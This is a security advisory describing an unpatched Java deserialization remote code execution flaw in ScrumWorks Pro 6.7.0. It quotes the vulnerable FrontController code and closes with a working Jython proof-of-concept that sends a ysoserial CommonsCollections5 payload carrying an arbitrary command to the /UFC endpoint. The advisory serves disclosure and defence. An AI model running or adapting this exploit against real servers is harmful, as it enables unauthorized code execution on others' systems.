SSD Advisory – ScrumWorks Pro Remote Code Execution

blogs.securiteam.com/index.php/archives/3387

SSD / Maor Schwartz August 22, 2017

Vulnerability Summary
The following advisory describes a remote code execution vulnerability found in ScrumWorks Pro version 6.7.0.

“CollabNet ScrumWorks Pro is an Agile Project Management for Developers, Scrum Masters, and Business”. A trial version can be downloaded from the vendor: https://www.collab.net/products/scrumworks

Credit
A security researcher from, Siberas, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.

Vendor response
Collab was informed of the vulnerability, and responded to it that – “We had a check with our Scrumworks Engineering team and after initial analysis, they’ve concluded that the Vulnerability which was reported will be considered of least priority from our end and it might be fixed in the future, however, We can’t assure you on the time line as our team is working with more priority issues at the moment.”

Vulnerability details
ScumWorks Pro provides a web interface and a Java client that can be started via Java Web Start (JNLP).

The Java client sends serialized Java objects to the /UFC endpoint of the application server.

These requests are handled by the class *com.danube.scrumworks.controller.FrontController*, method “*doPost*“:

```
1   ---
2   protected void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse
3   paramHttpServletResponse)
4       throws IOException
5    {
6       ServerSession localServerSession = getSession(paramHttpServletRequest);
7
8       AbstractExecutableCommand localAbstractExecutableCommand = null;
9       ObjectInputStream localObjectInputStream = new ObjectInputStream(new
10  GZIPInputStream(paramHttpServletRequest.getInputStream()));
11      try
12      {
13        AbstractCommand localAbstractCommand = (AbstractCommand)localObjectInputStream.readObject();
14        localAbstractExecutableCommand =
15  (AbstractExecutableCommand)Class.forName(getExecutableCommandName(localAbstractCommand)).newInstance();
16
17        paramHttpServletResponse.addHeader("X-SWP-responseType", "object");
18        if (localServerSession.isExpired())
19        {
20          paramHttpServletRequest.getSession().invalidate();
21          sendResponse(paramHttpServletResponse, new ReAuthenticateException());
22          return;
23        }
24        localObject1 = ControllerUtils.extractUserFromAuthorizationHeader(paramHttpServletRequest);
25        String str = localObject1 == null ? null : ((UserTO)localObject1).getUserName();
26        LOGGER.info("[User: " + str + "] command: " + localAbstractCommand);
```

```
27        if (Maintenance.isMaintenanceMode()) {
28          sendResponse(paramHttpServletResponse, ServerException.getMaintenanceModeException());
29        } else {
30          runCommandIfAuthorized((UserTO)localObject1, localAbstractExecutableCommand, localAbstractCommand,
31  paramHttpServletResponse);
32        }
33      }
34      catch (ServerException localServerException)
35      {
36        localServerException.printStackTrace();
37        sendResponse(paramHttpServletResponse, localServerException);
38      }
39      catch (InvalidClassException localInvalidClassException)
40      {
41        LOGGER.error("An outdated client tried to send a command.  Please log out and restart the client.");
42        sendResponse(paramHttpServletResponse, new ServerException("The server has been updated.  Please
43  relaunch your client.", localInvalidClassException));
44      }
45      catch (Exception localException)
46      {
47        LOGGER.debug("error handling request", localException);
48        Object localObject1 = unwrapException(localException);
49        LOGGER.error("error executing a command", (Throwable)localObject1);
50        if (localAbstractExecutableCommand != null) {
51          sendResponse(paramHttpServletResponse,
52  ServerException.getMisconfiguredServerException((Exception)localObject1));
53        }
54      }
55      finally
        {
          localObjectInputStream.close();
        }
      }

    ---
```

Before the first try block, the http POST body is ZIP decompressed and then used to read a Java object via *readObject*, making the application vulnerable to Java deserialization attacks if a suitable gadget is available. As many other applications, ScrumWorks Pro ships with a vulnerable version of Apache *CommonsCollections* (3.2.1) that can be used to execute arbitrary code with the permissions of the ScrumWorks application server.

Proof of concept

The following Python script requires jython (at least version 2.5.3) and a local copy of the ysoserial library (https://github.com/frohoff/ysoserial).

```
1   ---
2   #
3   # Scrumworks Java Deserialization Remote Code Execution PoC
4   #
5   import httplib
6   import urllib
7   import sys
8
```

```
9   import binascii
10
11  # load the ysoserial.jar file
12  sys.path.append("./ysoserial.jar")
13
14  from ysoserial import *
15  from ysoserial.payloads import *
16
17  # ZIP support
18  from java.io import ByteArrayOutputStream
19  from java.io import ObjectOutputStream
20  from java.util.zip import GZIPOutputStream
21
22
23  print "Scrumworks Java Deserialization Remote Code Execution PoC"
24  print "========================================================="
25
26  if len(sys.argv) != 4:
27    print "usage: " + sys.argv[0] + " host port command\n"
28    exit(3)
29
30  payloadName = "CommonsCollections5"
31  payloadClass = ObjectPayload.Utils.getPayloadClass(payloadName);
32
33  if payloadClass is None:
34    print("Can't load ysoserial payload class")
35    exit(2);
36
37  # serialize payload
38  payload = payloadClass.newInstance()
39  exploitObject = payload.getObject(sys.argv[3])
40
41  # create streams
42  byteStream = ByteArrayOutputStream()
43  zipStream = GZIPOutputStream(byteStream)
44  objectStream = ObjectOutputStream(zipStream)
45  objectStream.writeObject(exploitObject)
46
47  # close streams
48  objectStream.flush()
49  objectStream.close()
50  zipStream.close()
51  byteStream.close()
52
53  # http request
54  print "sending serialized command"
55  conn = httplib.HTTPConnection(sys.argv[1] + ":" + sys.argv[2])
56  conn.request("POST", "/scrumworks/UFC-poc-", byteStream.toByteArray())
57  response = conn.getresponse()
58  conn.close()
59  print "done"
60  ---
```